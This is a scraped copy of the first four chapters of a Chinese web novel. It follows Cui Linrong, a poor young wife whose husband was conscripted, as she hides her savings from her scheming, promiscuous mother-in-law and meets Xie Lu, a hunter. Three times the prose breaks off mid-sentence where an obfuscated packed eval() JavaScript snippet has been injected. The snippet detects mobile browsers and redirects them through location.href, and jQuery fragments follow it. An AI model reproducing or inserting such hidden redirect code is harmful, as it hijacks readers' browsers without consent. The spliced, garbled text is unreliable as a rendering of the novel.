《麻辣娘子当家记》 1. 第 1 章 崔林容从山上抱着成捆成捆柴火下山的时候,天才蒙蒙亮。五月多的天儿,地里的活计也磨人的紧,但凡家里人丁兴旺的,大多是汉子出门干活计,妇人在灶屋拾掇朝食。 鲜少有妇人家出门砍柴的,偏这周家是个例外。 周大郎是周家的独苗苗,三年前好不容易攒够了彩礼,去隔壁白云村接了当时最漂亮的姑娘回来,谁知新婚没两天,就被抓了壮丁充了军。 大梁朝北方还在打仗,豫州府虽说不属于塞北边境,但耐不住人多,每隔上几年都要抓一批人充军。 所以很不幸,崔林容刚嫁到周家,还没瞧清楚丈夫的眉毛和嘴巴,就再也没见过这个人了。 但好歹也是拜了天地正经娶进门的媳妇,崔林容就算是周家人。 从此,崔林容和她的婆母、周家那个王婆子周王氏,捆在一起过日子。 说到这王婆子,周围十里八乡谁人不晓得,出了名的泼辣样!但无奈生了一张伶牙俐齿的嘴和好皮子。 年纪轻轻守寡后在周围几个村却越吃越开,苦是没吃过的,倒是越发惯了那恶脾气。 人到中年之后更是刁钻,儿子刚娶媳妇就被抓去充了军,王婆子将这些怨气都撒在了崔林容身上—— 也罢,就当是十两彩礼买个干活的媳妇回来。 田埂上,崔林容背着一筐的柴火朝回走,偌大的背篓几乎要压弯她的背,这幅场景怎么看怎么不和谐。 有些妇人家看见都心疼,也有的幸灾乐祸,但男人们的眼神们却总是带着一些别样的意味—— “容娘,我来帮你不成?你瞧瞧你这裤子上的泥点子,可是在山上摔了?” 大早上出门的不止只有憨厚老实的庄家汉子,还有那些一夜未归的流氓痞子,蹲在田埂上,就瞅着谁家的小媳妇好欺负,上去揩上一把油。 那黄黑黄黑的大掌马上要碰到崔林容的小腿时,被她突然恶狠狠地踢了一脚—— 男人忽然一怒,啐了一口。 “守空房的小婊/子,看你还能耐得多久!” 崔林容抿唇,也不理会,只是加快了回家的速度。 回到周家的时候,大门还关着,院子里静悄悄的。 崔林容却是一眼看见了门上锁被动过的痕迹,她几乎是下意识顺着朝王氏的门上看了一眼,也是一样。 崔林容面无表情将柴火放下,接着就转身去了灶屋,舀水舀米,淘米煮粥。 灶膛里面的火苗子还留着,很快就烧了起来。 趁灶上煮着,崔林容转头又打开了角落一个粗陶罐的盖子,一股酸香味扑面而来,崔林容捞了一棵出来,剁碎装盘,又揭开案板上的面罩子,里面的面团发好了,粗粮饼子直接上锅蒸。 简单的一顿朝食就算是备齐了。 直到这会儿,王婆子屋门才打开,王氏走了出来。王氏今年看上去不算老,约莫四十出头,虽然周家没啥钱,但王氏手上似乎是不缺钱花的。 为啥? 看那锁头就能猜到。 王氏走出来,习惯性朝灶屋看了一眼,见崔林容老老实实地在烧饭,她心头才稍微满意了几分,扭着腰准备忙自己的事情去了。 “您可稍微避着点人吧,我看到倒是没什么紧要,但要是旁人瞧见了,咱婆媳俩在村子里就别抬头做人了。” 崔林容面无表情,一面用大勺子搅粥一面道,王氏背影果然一僵,回头狠狠瞪了她一眼:“说啥呢!” 崔林容面不改色:“这日子过起来不容易,但最近农忙,人人都起得早,田埂上天不亮就有人,撞见的多了,说啥闲言碎语的都有。” 王氏一下子就火了:“啥闲言碎语!有本事要她舞到老娘面前来!旁人说啥你就信,咋得,你不跟老娘一条心你还向着人家去了?我告诉你,咱们家现在没男人,日子可难着!要不是你娘我还能吃得开一点,你以为就靠你种地那功夫,咱迟早都要喝西北风去了!” 崔林容懒得多说了,但心道:你以为我想管你被窝里那点事。 要不是她自己个儿要脸,这句话她都不会多说的。 既然王氏说到这了,崔林容直接走到她面前:“这个月粮食见底了,给点钱吧,我今天要去买些。” 王氏:“!咋这么快?!” 崔林容:“去年收成不行,您每日都要吃细粮,前段时间还喊叫着要吃包子,我割了一刀新鲜猪肉,足足花了一百多文,哪里还有钱? 王氏骂骂咧咧的:“造孽……成日就知道开口要钱!”但虽然骂着,但还是从袖子里掏出钱袋子,背过身去扯开,窸窸窣窣盘了好久,摸了十文钱给了崔林容。 “我今儿还要吃包子!” 崔林容:“我也不想成日问你要,你给多点我就可以好几日问你要一次了,而且就十文,猪肉都不够,吃不了包子。” 崔林容说完就走,王氏气得够呛! “回来!” 崔林容顿住脚,王氏又给她掏了三十文。 “你花了多少钱我可记得清清楚楚的,今天我非要吃包子,回来给我报账!” 崔林容接了钱,二话不说就提着篮子准备出去了。 “徐家肉铺就早上开,稀饭在灶上,您自己个儿盛了喝吧。” 王氏哼了一声,转头去了。她揉了揉老腰,嘴里念叨:“要不是我为了这个家付出……哪里还有猪肉吃?没良心的,还教训起老娘来了……” 崔林容出门的时候只揣了个玉米面饼子,去村口的路上几口就吃完了,擦了擦嘴,花一文钱上了去镇子的牛车。 从石头村去月牙镇约莫半个时辰,石头村和白云村一样,都是山洼洼里面的偏远地方,村上没个啥卖东西的,要吃肉就只能去镇子。 农忙时节去镇子上的人不多,家家户户都忙着种地,王氏有句话不错,那就是家里的地崔林容种的不算好,她一个妇道人家,就算再勤快,力气和汉子也有差距。 侍弄田地的功夫她没有,所以家里也就是青黄不接,全靠一点家底子还有零散的活计去赚钱。 她坐在牛车上,悄悄掀开篮子最上面的一层布,下面放着十来双鞋底子和鞋垫子,密密麻麻的粗针线绣得很扎实。 这些都是崔林容准备去镇子上换钱的。王氏会想办法,崔林容当然也会。 另外……她悄悄将王氏给的三十文钱摸了一文出来藏到了袖兜里。 买菜买肉王氏就算精打细算,东拼西凑一点,一文钱还是能扒拉出来的。 她靠这个法子,积少成多,也攒下不少了…… 牛车很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278622|198314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就到了镇子上,崔林容跳了下来,她没第一时间去肉铺那边,而是转头就去了一家铁铺。 崔林容是白云村人氏,崔家条件比起周家来说更差,兄弟姊妹一共五个,家里一向都是紧巴巴的。 可崔林容自从记事起,她就知道大哥崔大郎最是受爹娘溺爱,家里所有的好东西全进了老大的肚子里,穷人家的孩子偏生了少爷命,年纪轻轻就长成了一头大肥猪,现在竟然连门都出不了了! 崔林容是大姐,上头还有崔二郎一个哥哥、弟弟崔三郎和妹妹崔二丫,崔二郎虽然不及老大一样好吃懒做,但生性又是个偷奸耍滑的,还好赌。 二丫倒是乖,不过和崔林容没出嫁之前一样,家里的活计全落在一个小丫头身上,今年十四岁半了,估计也快要定下亲事。 最小的是三郎,也是崔林容最喜欢的弟弟,伶俐聪明,心思也没长歪。 崔林容今天来镇子上就是要找她二哥,崔二郎现在就在这家铁匠铺子里上工,接触的都是些爷们,她绣得这些粗布鞋垫子和鞋底子正是这些男人们最需要的。 打铁铺后头的巷子,崔林容踮脚看了好久,终于看见瘦猴一样的崔二郎过来了。 “来了?” 崔林容着急道:“你就不能快些?!你知道我时间紧张!” “怕啥,回去急着伺候你那恶婆婆,你怕她干啥?” “我倒是不怕,但她刁难我的时候也没见你给我出头。” 崔二郎嬉皮笑脸:“那咱们不是隔的远么,我咋不给你出头,你可是我妹子。” 崔林容懒得和他多扯,直接将篮子里的布包递给他:“一共二十双,对半分,总共应该卖五十文钱,老规矩,给你五文,剩下都是我的。” 崔林容不放心自己这个二哥,但她现在没办法,即便是做这些生意也是偷偷摸摸,她要攒私房钱,不能让王氏发现。 崔二郎眼珠子果然一转,笑道:“大丫,不是我说,这些东西现在真不好出手,我们铁铺里头的男人们好些都有婆娘,谁买?我要说个半天才能出手,而且现在卖这些东西的太多了,你的价格其实是有点贵……” 崔林容冷笑一声:“直说吧,你要多少?” 崔二郎:“嘿嘿,你分我十文钱,我保证给你卖出去。” 崔林容很想直接啐他一口!她辛辛苦苦偷偷摸摸绣了大半个月才赚四十多文,他耍耍嘴皮子的功夫就要分走十文! 崔林容立马沉下脸,一把夺过包裹:“你不赚我找别人去!” 崔二郎:“你找谁?你能找谁?大大方方摆摊,咱们这镇子上可都是熟人,回头就能告你婆婆去。” “你——” 崔林容气的个半死,崔二郎显然是认准拿捏了她,正在她琢磨怎么办的时候,身后忽然投下一片阴影,一只胳膊突然伸了过来,轻而易举就把崔林容怀里的东西拿走了。 “原来是你做的?这些我都要了。” 崔林容呆愣转身,对上了一个比她高出一头的男人,对方一身黝黑腱子肉,只穿了一件宽松褂子,黑眸浓眉,正好整以暇看着他们兄妹俩。 崔二郎气得要跳脚:“谢禄,你干啥!” 谢禄挑了挑眉:“这些不卖么?上次我穿着挺好,我要买。五十文是吧,钱给你。” 2. 第 2 章 崔林容呆呆地看着面前的男人,显然有点发怵。对面人膀大腰圆,胳膊看起来比她的腿都要粗。 个头也是高的吓人,别说她了,就是崔二郎在人家面前也和个鸡崽子差不多。 所以崔二郎咋呼的样子显得特别可笑,像鸡崽子挥翅膀,只会乱叫。 谢禄眉头一皱,粗声粗气:“不卖吗?” 崔林容最先反应过来:“卖!大哥我卖的!” 谢禄上下打量了她一眼,“五十文是吧。” 崔林容连忙点头,“对!” 崔二郎:“容娘!你应该给我分!” 崔林容突然斜了他一眼:“我为啥要给你分,这不是我卖的吗?” 崔二郎那个气哟,“这是我们铁铺的伙计!上次要不是我帮你卖,人家能知道?” 崔林容看了眼谢禄,谢禄挑眉:“上次是上次,这次我没从你这买啊。” “谢禄你故意和我过不去是不是……!”崔二郎龇牙咧嘴,但崔林容有了底气,一股脑将那五十个铜板收好了,然后转身就要走! 崔二郎在后面急得要去追,被谢禄抬手拦住了:“我刚听见里面在喊你,你还不快去?小心耽误了事情扣工钱,我说你一天咋这么小家子气,自己亲妹子的钱都要贪。” 崔二郎噎了一下,甩袖离开:“你懂个屁!” 谢禄脸色忽然一沉,崔二郎瞬间就又怂了,骂骂咧咧地转身走了,但不敢在谢禄面前叫嚣一声。 谢禄收回了视线,扭头朝着崔林容离开的方向看了一眼。 - 五十文对崔林容来说已经算是一笔“巨款”了! 她身上的钱袋子有点小,勉勉强强才能装下,装进去之前崔林容还数了一遍里面剩下的,王氏给了几个她心里门清,回家去时才好报账。 最后还有三个铜板没装进去,崔林容决定去打个牙祭。 这样的机会可真是不多,她出发之前连口热粥都没喝上,肚里正叫得欢快。转了偏巷,她走到热闹的主街,这里人声鼎沸,吆喝声一声赛过一声。 崔林容忍不住咽了咽喉咙,走到那包子铺钱,“大娘,素馅包子多钱一个?” 对方看了她一眼,“白菜的一文,豆角肉沫的三文两个,剩下都只有肉包子,两文一个。” 崔林容还是舍不得,于是道:“两个白菜的。”说完掏了两文钱递过去,花钱买吃食让她有些心疼,直抽抽。 那大娘随手就给她捡了两个。 刚出锅的热包子就是馋人,白胖的还冒着热气,崔林容伸手接过,迫不及待就咬了一口。 “大娘,你这馅里掺了猪油呀。” 那卖包子的大娘乐了:“你能吃出来?” “能,拿猪油炒馅了。” “舌头不孬啊,哼,好些人还晓不得呢,我这素馅也是一顶一的香,不放荤油能有这滋味?!” 崔林容高兴了,刚才掏钱的心疼都消失了。 她提着篮子捧着包子就朝别处去了,兜里还剩一文钱,正好够买串糖葫芦。 别笑话她,当姑娘家的时候哪里吃过多少甜滋味呢,爹娘偶尔给大哥买的饴糖,她们都只能偷摸添上一小角,崔林容还会省下来给弟弟妹妹。 再别提出嫁之后,更是没有了。今天运气好,她大方地买了一串。 红艳艳裹着晶糖的葫芦串看着就诱人,咬一口还能听到嘎巴一声响,掉下来的糖渣崔林容都舍不得,另一只手接着呢。 吃了几个,她突然觉得自己有点奢侈。 要是二丫三郎在这就好了,她们三个可以分着吃。 等赚了钱,她就给弟弟妹妹们一人再买一根! 崔林容望着那糖葫芦叹气,殊不知,街角处一双眼睛盯了她好久。 瞧她吃个糖葫芦也唉声叹气的,谢禄不知道为什么很想笑。 他倒是没什么跟踪姑娘家的变.态癖好,只是也顺道想去买包子垫垫肚子,谁知打眼就瞧见这姑娘捧着两包子咬着。 那素馅包子在谢禄眼里就是一口一个的大小,囫囵下肚都尝不出滋味,她倒好,捧着一口一□□像啄食的雀儿。 怪可爱的。 不知不觉,谢禄就跟来了,又看见了这一幕。 偏巧不巧,崔林容警戒心也不差,朝这边看来,似是发现了他。谢禄轻咳一声,有点尴尬,干脆抬脚走了过去。 崔林容果然有些戒心:“你跟着我干啥?” 谢禄:“想多了大妹子,路过,瞧见你吃这糖葫芦似乎好吃。” 崔林容低头看了一眼,“转角就有卖。” 谢禄心中发笑,突然起了逗弄她的心思,他本来就是个混不吝的,做起事情来只随心情。 “刚才你转头就走我还没说呢,今儿我也算帮你了吧。” 崔林容愣了一下,明白了:“你想问我要钱?” 谢禄噎了一下,没成想她第一反应是这个。 “你放心吧,我不缺你那几个铜板。” “那你是……?” 谢禄:“我瞧你针线活做得好,我裤子破了,你帮我补补?” 崔林容顺着他指的地方看过去,这才瞧见这男人也是不讲究,裤腿上烂了好几处,像是被啥东西划烂的。 “没办法,我经常在山上跑,穿衣裳不精细,家里老娘走的早又还没娶媳妇呢。” 崔林容懂了,正巧她今天带了针线。 “成,你和我去偏巷里头,我帮你补两针。” 谢禄意外极了,舌尖忽然抵了抵腮边软肉,似是想说这丫头片子也太好骗了。 难怪能被那崔二郎拿捏住。 谢禄当然不会拒绝,跟着崔林容进了偏巷,这里人少,崔林容还转头看了几眼,道:“你坐下……” 谢禄看了看这边的青石台阶,大咧咧一坐,崔林容也坐到低一阶的地方,掏出针线出来。 男人个子高大,长腿长脚,即便崔林容刻意坐低了一些还是有点费劲,谢禄看出来了,转头又上了个台阶,让她能方便些。 崔林容感激地看了他一眼。 她手脚麻利,穿针引线,很快就给他补起裤腿来。 “这都是树杈子划得吧?你经常上山?” “嗯,没事就朝山里钻。” “砍柴吗?” “打猎砍柴啥都干。” 崔林容没想到他还会打猎,稀奇地看了他一眼,随即忽然想起来了什么:“你是石头村后山的?” 谢禄:“认识啊。” “不认识,只听说那边偏远的很,住着几户猎户,村里不常见。” “嗯,倒是不笨。” 崔林容:“……今儿谢谢你了,你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278623|198314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确帮我了。” “这不是还了么,不用客气。” “你真需要我做的那些鞋子垫子吗?” “要啊,我不是说我上山跑么,穿鞋子废。你手艺不错,也不偷工减料,结实的。” 崔林容眼里闪过一丝得意:“十里八乡都这么说。” 谢禄瞧见她的得意劲,扯了扯唇角。 正值五月,崔林容穿了一件单薄的夏衫,她出嫁之后就学着村里的妇人盘头了,只是她模样出众,即便是梳妇人发髻也显得娇俏,这会儿后脑勺没了头发的遮挡,一低头,雪白的一节脖颈子就撞入了谢禄的眼中。 脖颈是猎物最脆弱的部分,这是谢禄从小打猎的第一反应。若是有机会,咬住猎物的脖颈,使劲一口。这是刻在他脑中的凶性。 此时崔林容自然不是他的猎物,但看见这一幕,谢禄眼眸竟幽深了几分。 咋这么细,这么白? 仿佛他轻轻一使劲就能断。 脖颈旁还有一只小巧白嫩的耳朵,玉似的,又像只有逢年过节才能吃到的饺子。 更想咬了…… 谢禄眼神一动不动,崔林容亦是。 只是她全神贯注都在他的裤腿上,原本看着几针就能缝好的,但缝着缝着竟然歪扭了一些,她眼里闪过一丝狐疑。 他也没动啊,咋裤子腿自己在缩……? 崔林容顺着他腿朝上看去,只见男人的大腿紧绷起来,似乎是这个原因…… 但察觉到崔林容的视线,谢禄突然将下摆衣裳一扯,遮盖住了腰部。 “咋了?” 崔林容没看见那骇人的东西。 疑惑的摇了摇头:“没什么,你再坐下,我再补几针就好。” …… 结束后,崔林容拍了拍裤腿的灰站起来。 谢禄跟着也站了起来,崔林容一下被男人拔地而起的身影又惊了一下,真不晓得吃啥才能长成这样。 谢禄望着人,眼里的幽深并未褪去:“我听崔二郎的意思,你每次做生意都找他?” “嗯。我出嫁了,家里有婆婆,我得瞒着她。” “你男人呢?” “上前线打仗了。” 谢禄眼神越发幽深。 沉默一息,他忽然道:“那你不如找我?我给你帮忙。” 崔林容眉头一挑,看向他:“你要多少佣金?” 谢禄笑了:“不要。” 崔林容眉头慢慢皱起来。 “别急啊,没有天上掉馅饼,我就要你给我补补衣裳,做做鞋袜,就和今天一样。” 崔林容低头看了看男人的鞋,心里总觉得这样好像有些不妥,但谢禄继续道:“不行就算了,你继续找你二哥去。” 崔林容想到崔二郎那副样子,忙道:“成交,但是我也不能给你做太多。” 谢禄笑了:“那肯定的,不能叫你吃亏,放心吧,我这个人也穷,没得几套衣裳。” 崔林容:“不是这个意思……” 谢禄:“赶紧走吧,再晚,就赶不上回石头村的牛车了。” 崔林容这才注意到了时辰,哎呀一声,提着篮子转头就走了。 谢禄望着人的背影,忽然嘿嘿笑了一声。 石头村的是吧,他低头看了看自己的裤腿,心情颇好地扬长而去了。 3. 第 3 章 崔林容自己打了牙祭却也不能忘记了王氏,转头就去肉铺割了一刀肉,又死磨硬泡非缠着那掌柜要了两根棒骨,这才赶紧跑到镇子口,摸了铜板上了车。 回去的路上,崔林容一路都在琢磨怎么才能藏好这几十文铜钱。 王氏虽然精明,但生活了两三年,崔林容也大概摸清了她的性子——穷讲究。 苦活累活都给她这个媳妇干了,自己倒是连灶屋都不怎么去过。 思来想去,还是藏在那边才保险。 “诶,你今儿的收成倒是也不错,瞧你这钱袋子都鼓了!” “啥啊,卖野菜赚的,生意不算太好。” “得了吧,我可都瞧见了!” 同车的有两个妇人,看起来不像是石头村人氏,像是隔壁桃花村的,崔林容对什么赚钱的营生都感兴趣,不由凑上前问了几句:“二位嫂子,我瞧你们是在做吃食生意?可问一句是啥吗?” 那两人看向崔林容,打量了她一番,倒是也不遮掩,道:“你刚从镇子上没瞧见?咱们大梁引了一种叫川椒的东西,可麻可辣,做吃食香着呢,尤其是混在卤水里,味道好得很!” 崔林容露出茫然的表情,她从未听说过。 “哎,也难怪你不晓得,咱们这山沟沟里面偏得很,这东西镇子上没得卖,要去县城才可以,贵的和金子似的!要不是我男人在县城帮人干活得了钱,我可也舍不得买!” 崔林容:“嫂子可让我看看?也好长长见识。” “也行,你瞧一眼。”那妇人显然宝贝的很,掏出袋子,里面果然是一个个红彤彤的果实,细长状,像一个个的小灯笼,这样的东西崔林容从没见过。 “嫂子,这当真这么好吃,多少钱?” “比猪肉还贵上许多,一斤三钱。” 崔林容倒吸一口气。 “的确好生贵。” “那是,听说先前都不传入民间,只做花儿看。” 崔林容敛了心思,她可买不起,而且做吃食生意就得用家里的灶屋,王氏会第一个发现。 闲聊几句,崔林容到了石头村。 她已将铜钱分开放好,自己的藏在了内里最深的口袋,转头回到周家的路上,崔林容又闲不住的伐了一些竹子。 她除了闲来没事做些针线活,还会劈砍些竹子编成竹筐去卖,只是这活计也费力气,做的很少。 回到周家的时候,她运气好,王氏竟然不在,隔壁的李嫂子道:“容娘回了?你婆婆去金花家打牌去了!” 崔林容心下一喜,打牌去了?打牌好啊。 她一溜烟就跑到灶屋里去,搬开角落里那些十分重的粗陶坛子,这里面被她刻意弄得有些埋汰,这样王氏才不会靠近。 角落里有一块墙砖松动了,不仔细看是决计瞧不出的,这就是崔林容藏钱的地方,她打起了十二分的注意力,一面注意外头一面将这砖慢慢撬动挪了出来,里头是空的,藏着她自己的钱袋子。 崔林容显然不是第一回做这事了,这钱袋里面也有些东西,她数了一遍放心了,接着将这次得的钱都放了进去。将一切恢复原样之后,崔林容才狠狠松了口气。 身上还有多少铜板,买今天的东西花了多少钱,她一样一样都能对得上账本。 这也算是她的本事,打小就这样,算算数很快,去街市上买东西谁都没她脑瓜子好使。 忙完这些,崔林容才去水缸舀了一瓢水喝了个痛快,她满头大汗,擦了擦脸之后又洗了洗手,这才去灶屋忙活午食。 做饭的时候,崔林容想起白天遇到的那个男人。 只记得他姓谢了,名字没记住。 这男人当真可靠吗?崔林容拿不准,但要真能摆脱崔二郎就好了,崔林容不想叫崔家知道她赚钱的事。 不然她爹娘迟早是要冲上门来…… 直到快下午,王氏才慢慢悠悠回来,面上带喜。 一进门就闻到一股包子香,美得眼神眯起:“这还差不多,包子可好了?!” 崔林容今儿包的是萝卜馅包子,她学着那大娘的样子掺了点猪肉炒料,味道的确不孬。 “好了,素馅萝卜的,鲜肉的就五个。” 王氏迫不及待坐下,一副等着儿媳妇伺候的样子,崔林容端了一盘子包子出来,“稀饭您自己个盛吧。” 王氏哼了一声:“花了多少钱?” 崔林容将剩下的铜板给她,又将账目报了一遍。 王氏道:“倒是还对得上,今儿我心情好,你也吃。” 崔林容有点意外:“娘今天赢钱了?” “那不然呢?这家里没个正经营生,就靠老娘我啊。”说完还睨了眼崔林容:“你也别觉得我一天磋磨使唤你了,你那娘家也不是个啥好地方!一屋子拖油瓶,跟着我们周家你还长了点肉,不然就在白云村,你能吃上大包子么?” 崔林容心道:这包子她白天都吃过了,不靠任何人。 她习惯了沉默,默默拿起包子咬着。 “恭喜娘了。” “哼,但你也是个没福气的,要是我家大郎出去之前你能揣上个崽,老娘也把你供起来。” 崔林容咬着包子差点噎了一口。 揣娃? 想屁吃呢。 崔林容心里有个秘密,一直没告诉任何人。那就是新婚夜周大郎压根不行,门都没找到就泄了气。 怎么揣? 崔林容默默喝了口稀饭,现在也不打算说,她拿不准周大郎会不会回来,也说不好等周大郎回来之后自己还要不要和他过日子,更不知道周大郎那天晚上是喝醉了不行还是本来就不行。 王氏赢了钱心情好,吃过饭之后就去找自己的老姊妹炫耀了。 崔林容默默拾掇了碗筷,下午就回房间去了。 她打算继续做剩下的针线活,虽然不晓得那个猎户靠不靠谱,但她也打算试试。 一下午的时间很快就过去了,天色擦黑,王氏还没回来,崔林容不打算等了,和平常一样温了饭在灶上放着,自己吃完之后就进屋睡了。 天气越发燥热起来,崔林容睡到半夜的时候经常热醒找水喝,今天也是。起身到桌子旁摸了凉茶喝了几大口,正痛快时—— 她听到院门传来了开锁声,她对这声音倒是很熟悉了,只会是她那个婆婆。 只是除了王氏,似乎还有另一道脚步声。 崔林容僵了一瞬,握着杯子有点尴尬。 咋又来了啊。 她有些后悔自己起身了,睡过去就好了,因为第一回崔林容经历的时候别提多尴尬了…… 她站在着呆若木鸡,外头倒是已经打得火热起来。 崔林容也不晓得自己尴尬什么劲儿,忙灌了几口水就钻到被窝里去了。 还顺带蒙住了头。 她强迫自己赶紧睡,别去听。可世上的事情都是怕什么就来什么,周家这几间夯土房啥声音也挡不住,没多会功夫,隔壁的动静就大动起来,还不住地朝崔林容耳朵里钻。 新婚夜那事虽然没成,但崔林容已经十八了,不是啥也不懂的青头大姑娘,再说了,和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278624|198314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村里妇人一道洗衣裳的啥没听过? 男女之间那点事,崔林容也晓得个十之八九。 王氏的确厉害,年纪上去了,却是个不服老的,这会儿夹着嗓子的声音实在让崔林容脸颊烧得慌。 她想捂住耳朵,却还觉得那动静臊得要命…… 崔林容受不住了,干脆一把掀开被子起身出去,故意将门弄了点动静,以提醒隔壁那对。 果然,那边动静小了点,崔林容跑到茅房去了。 王氏这点破事,村里不可能没人知道,但来找王氏的,都是要么死了婆娘、要么婆娘管不住的中年汉子,家里儿子和周大郎一样都娶了妻,崔林容难免会遇见这家那家的小媳妇。 王氏不要脸,她可要,这阵子风言风语越发多了,崔林容也犯愁起来。 这日子可真真是…… 就在崔林容犯愁也不知道啥时候回去好的时候,灶屋那边突然又传来了动静。 她猛然一僵,回头看去。 周家的灶屋和院墙离得近,几乎就挨着,院墙外头的篱笆常年没修补过了,崔林容的房间也都在这一角。 这动静只可能是外面传来的,绝不是王氏那头。 是谁? 是贼吗? 眼下家里这尴尬情况,要是外头来了贼……这可咋整! 崔林容心头乱成一团,想也不想,抄起一旁的锄头就走了过去,倒不是她为了这个家多么英勇。 她自己个儿的钱可都藏在灶屋呢! 崔林容摸黑走了过去,果然看到墙头一道身影,那身影似乎也在张望,没注意到她这边,崔林容鼓足勇气抄起家伙就要打过去,下一瞬,那人猛然转头,压低了声朝她道:“容娘?” 崔林容顿时愣住。 是白天那个猎户。 谢禄趴在墙头上朝她笑,也不知道咋个做到的,好似轻轻松松就能挂在那。 崔林容嗓子仿佛被掐住了一般:“你、你干啥……!” 谢禄在黑暗中咧开嘴,突然朝她扔了个东西:“我上山摸好东西才回来,鞋子又给烂了,你抓紧给我做两双呗,这是报酬。” 崔林容:“……” 啥? 她简直怀疑自己的耳朵。 这人翻院墙过来是要让她做鞋子? “你疯了吧……?” 谢禄又笑了:“我一向这样,你习惯就好,放心我不是啥坏人,不偷不抢,嘿嘿。” 崔林容手上果然是个钱袋子,她捏了捏就知道里面是两串铜钱,大梁朝习惯用二十文串成小钱,好找好用,所以这里面面就是四十文。 “我走了啊……你记得后天来镇子的码头来找我,就后天,晚一天都不行!” 崔林容不晓得这人做事风格咋是个这,神出鬼没的,但知道不是贼之后竟莫名其妙安心下来。 “晓得了。” 谢禄笑了笑,准备跳下院墙,可就在这时候,王氏那对野鸳鸯不仅没有注意到自家可能“进贼”的事,反而越发肆无忌惮起来。 “你个死鬼~” 这声说大不大,说小不小,邻居可能听不到,但在外院的谢禄和崔林容却是听了个清清楚楚。 谢禄也十分地震惊,看向崔林容,崔林容耳根连着脸颊都烧了起来,“你快走……!” 谢禄意味深长道:“容娘,原来村里的传言是真的啊,你婆婆……” “闭嘴。”崔林容龇牙威胁他。 谢禄也不说了,只是意味深长地又看了她一眼,这才翻身一跃,跳下了墙头。 4. 第 4 章 黑暗像一块遮羞布,让里面的那两人不知天地为何物。 但外面的动静还是让王氏听到了,恰好也完事了,她连忙推了一把身上的男人,竖起耳朵听着外头:“啥动静?!” 和王氏厮混在一起的男人叫丁大山,今年五十多岁了,前两日王氏去姊妹家打牌,人手不够就去了丁家,丁大山早两年死了婆娘,一直单着,两个儿子都已经成家了,所以压根没啥可顾虑的。 牌桌上给王氏放了几次水,眉来眼去好几次,这事不就成了。 不过这丁大山自打年轻的时候就是个混不吝的,在村里是个惹人嫌的流氓痞子,现在老了,就成了老的流氓痞子。 他大咧咧一笑:“还能啥动静,估计你那个儿媳妇臊得慌,跑出去了呗。” 王氏狠狠掐了他一把:“都怪你!故意的是不是!” 动静忒大! 闹出去了咋整?! 丁大山笑:“放心好了,我有分寸……再说了,我看你也挺喜欢……” 他凑到王氏跟前恶心吧唧地念叨,心里却不是这么想。 闹出这动静,他当然是故意的。 周家守空房的,可不止是王婆子一个,村里谁不晓得崔林容出嫁前是白云村顶好看的姑娘?那周大郎有命娶人却没命享受,真是白白浪费了。 丁大山咂摸着嘴,崔林容的模样村里人都见过,那脸就不知咋长得,成日风吹日晒着还白嫩白嫩的…… 他的鬼心思九转十八弯,轻哼了一声,反正已经搞定王婆子了,下一步也是迟早的事…… - 第二天一早,崔林容在灶屋弄出大动静。 菜刀咚咚咚敲着案板,像是要拆了屋顶。 “你要死啊,大清早的干啥!”王氏冲出来,满脸不爽,显然是被吵醒的。 崔林容冷笑一声看过去:“吵到娘了?不巧,我昨个儿晚上也被吵的不行。” 王氏愣了一下,梗着脖子:“你啥意思!” 崔林容:“娘不知道吗?昨个儿晚上差点有贼翻墙进来啊,可是吓坏我了,我还喊你了呢。” 王氏:“……少吓唬人,哪里来的贼?” “您不信去外头院墙底下瞧瞧,看看有没有男人的脚印?这屋里可就咱们婆媳两个,娘在外面赢了钱,咱们家还能吃得起肉包子,你觉得没有贼惦记?” 王氏脸上果然闪过一丝后怕:“哪个吃了熊心豹子胆的东西敢偷老娘!老娘把他子孙根剁了喂狗!” 崔林容哼了一声:“所以啊,我吓坏了,在磨菜刀,但不晓得娘昨晚干啥呢,喊了几声也听不见。” 王氏:“……” 她心里有鬼,自然心虚,嘟囔着准备转身回房:“我今儿去找找看谁家有狗,买条狗回来看大门!” 崔林容倒是没拒绝这个提议,买条狗也好,省得她成日竖起耳朵听了。 “我今儿要去隔壁村吃席!”王氏最后丢了这么一句话,崔林容松口气,只觉得浑身轻松。 - 吃过朝食王氏就出门去了,崔林容收拾完屋里就准备出门,她虽然不乐意出去,但家里的衣裳已经积攒了好几日,不洗不行。 算准了时间,她抱着盆去了小河滩跟前。 她不太喜欢和村里那些妇人交谈,因为她们看自己的眼神也总是怪怪的,这不,崔林容刚到,河滩那边就安静了一瞬,丁家那两个儿媳妇都在,原本还说说笑笑的,这会儿全都在低声蛐蛐了。 